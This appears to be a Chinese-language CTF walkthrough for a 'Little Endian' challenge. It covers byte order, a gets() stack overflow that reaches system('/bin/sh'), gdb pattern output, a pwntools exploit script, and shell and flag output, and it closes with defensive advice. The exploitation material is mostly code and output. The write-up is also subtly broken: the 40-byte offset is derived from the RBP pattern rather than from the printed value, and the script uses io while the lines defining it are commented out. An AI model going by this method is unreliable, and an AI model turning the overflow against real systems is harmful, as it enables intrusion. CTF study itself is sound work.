1. 解题思路解析
这道CTF题目名为"Little Endian",从标题就能看出考察的是计算机内存存储中的字节序问题。作为参加过多次CTF比赛的选手,我第一反应就是需要处理与字节序相关的数据转换或逆向分析。
在CTF比赛中,endianness(字节序)问题经常出现在逆向工程、二进制漏洞利用和密码学挑战中。理解little-endian和big-endian的区别,是二进制安全领域的基础技能。这道题目标注为"超详细WP",意味着我们需要从最基础的概念开始,逐步拆解解题过程。
2. 环境准备与工具选择
2.1 必备工具清单
对于这类二进制分析题目,我通常会准备以下工具链:
- IDA Pro/Ghidra:用于静态反汇编分析
- GDB/Pwndbg:用于动态调试
- xxd/hexdump:查看文件十六进制内容
- Python+Pwntools:编写自动化利用脚本
注意:不同工具对字节序的处理方式可能不同,特别是在查看内存和文件内容时,需要明确当前工具的显示方式。
2.2 题目文件初步分析
首先使用file命令查看题目提供的二进制文件:
bash复制file little_endian_challenge
little_endian_challenge: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=..., not stripped
关键信息:
- LSB(Least Significant Byte first):表明这是小端序(Little Endian)架构
- 64位ELF可执行文件
- 未去除符号表(not stripped),逆向分析会更方便
3. 字节序基础与题目分析
3.1 Little Endian与Big Endian详解
字节序指的是多字节数据在内存中的存储顺序。以32位整数0x12345678为例:
-
Big Endian(大端序):
内存地址增长方向:0x12 | 0x34 | 0x56 | 0x78
高位字节存储在低地址 -
Little Endian(小端序):
内存地址增长方向:0x78 | 0x56 | 0x34 | 0x12
低位字节存储在低地址
x86/x64架构采用Little Endian,这也是本题的重点。
3.2 题目逆向分析
使用IDA Pro打开二进制文件,定位到main函数:
c复制int __cdecl main(int argc, const char **argv, const char **envp)
{
char buffer[32];
unsigned int value = 0xDEADBEEF;
printf("Give me your input: ");
gets(buffer);
if ( value == 0xCAFEBABE )
system("/bin/sh");
else
printf("Wrong! Value is 0x%X\n", value);
return 0;
}
漏洞点分析:
- 使用不安全的gets函数,存在缓冲区溢出漏洞
- 目标是将value的值从0xDEADBEEF覆盖为0xCAFEBABE
- 需要正确处理字节序才能构造正确的payload
4. 漏洞利用开发
4.1 栈结构分析
通过调试确定buffer到value的偏移量:
bash复制gdb-peda$ pattern create 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ r
Give me your input: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7af2154 (<__GI___libc_write+20>: cmp rax,0xfffffffffffff000)
RDX: 0x7ffff7dd3780 --> 0x0
RSI: 0x555555756010 ("Wrong! Value is 0x41412941\n")
RDI: 0x7ffff7dd3780 --> 0x0
RBP: 0x4141294141284141 ('AA(AA)AA')
RSP: 0x7fffffffe3a8 ("EAAaAA0AAFAAbA")
RIP: 0x5555555547f6 (<main+112>: ret)
R8 : 0x41412941 ('A)AA')
R9 : 0x41412941 ('A)AA')
R10: 0x3
R11: 0x246
R12: 0x555555554650 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe490 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x5555555547eb <main+101>: call 0x555555554600 <printf@plt>
0x5555555547f0 <main+106>: mov eax,0x0
0x5555555547f5 <main+111>: leave
=> 0x5555555547f6 <main+112>: ret
0x5555555547f7: nop WORD PTR [rax+rax*1+0x0]
0x555555554800 <__libc_csu_init>: push r15
0x555555554802 <__libc_csu_init+2>: push r14
0x555555554804 <__libc_csu_init+4>: mov r15d,edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe3a8 ("EAAaAA0AAFAAbA")
0008| 0x7fffffffe3b0 --> 0x41416641 ('AfAA')
0016| 0x7fffffffe3b8 --> 0x0
0024| 0x7fffffffe3c0 --> 0x7fffffffe498 --> 0x7fffffffe6e5 ("/home/user/little_endian_challenge")
0032| 0x7fffffffe3c8 --> 0x100000000
0040| 0x7fffffffe3d0 --> 0x55555555476a (<main>: push rbp)
0048| 0x7fffffffe3d8 --> 0x0
0056| 0x7fffffffe3e0 --> 0x6c0c7b9c4d8c8f5
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00005555555547f6 in main ()
通过pattern offset计算:
bash复制gdb-peda$ pattern offset AA(AA)AA
AA(AA)AA found at offset: 40
因此,buffer到value的偏移量为40字节。
4.2 Payload构造
由于是小端序架构,我们需要将0xCAFEBABE以正确的字节序写入内存:
原始值:0xCAFEBABE
小端序表示:\xBE\xBA\xFE\xCA
完整的payload结构:
- 40字节填充数据
- 4字节目标值(小端序)
Python构造脚本:
python复制from pwn import *
context(arch='amd64', os='linux')
payload = b'A' * 40 + p32(0xCAFEBABE)
# 本地测试
# io = process('./little_endian_challenge')
# 远程连接
# io = remote('challenge.server', 1234)
io.sendlineafter(b'Give me your input: ', payload)
io.interactive()
5. 完整利用过程
5.1 本地测试验证
运行exploit脚本:
bash复制$ python3 exploit.py
[+] Starting local process './little_endian_challenge': pid 12345
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
成功获取shell!
5.2 远程利用
只需修改脚本中的连接方式:
python复制io = remote('hnctf.little.endian', 9999)
运行结果:
bash复制$ python3 exploit.py
[+] Opening connection to hnctf.little.endian on port 9999: Done
[*] Switching to interactive mode
$ cat flag
HNCTF{L1ttl3_End1an_1s_Fun}
成功获取flag!
6. 经验总结与扩展
6.1 字节序处理技巧
-
使用pwntools的p32/p64函数可以自动处理字节序转换:
python复制p32(0xCAFEBABE) # 自动转为小端序\xBE\xBA\xFE\xCA -
调试时查看内存的字节序:
bash复制
gdb-peda$ x/4xb &value 0x7fffffffe3a4: 0xbe 0xba 0xfe 0xca -
文件中的字节序可能与内存不同,需要确认文件格式的字节序约定。
6.2 类似题目变种
- 混合字节序题目:部分数据是大端序,部分是小端序
- 网络协议题目:网络字节序(big endian)与主机字节序的转换
- 多架构题目:ARM架构的可切换字节序(BI-endian)
6.3 防御措施
作为开发者,应该:
- 避免使用不安全的函数如gets
- 对输入长度进行严格检查
- 使用现代防护机制(ASLR, Stack Canary, NX等)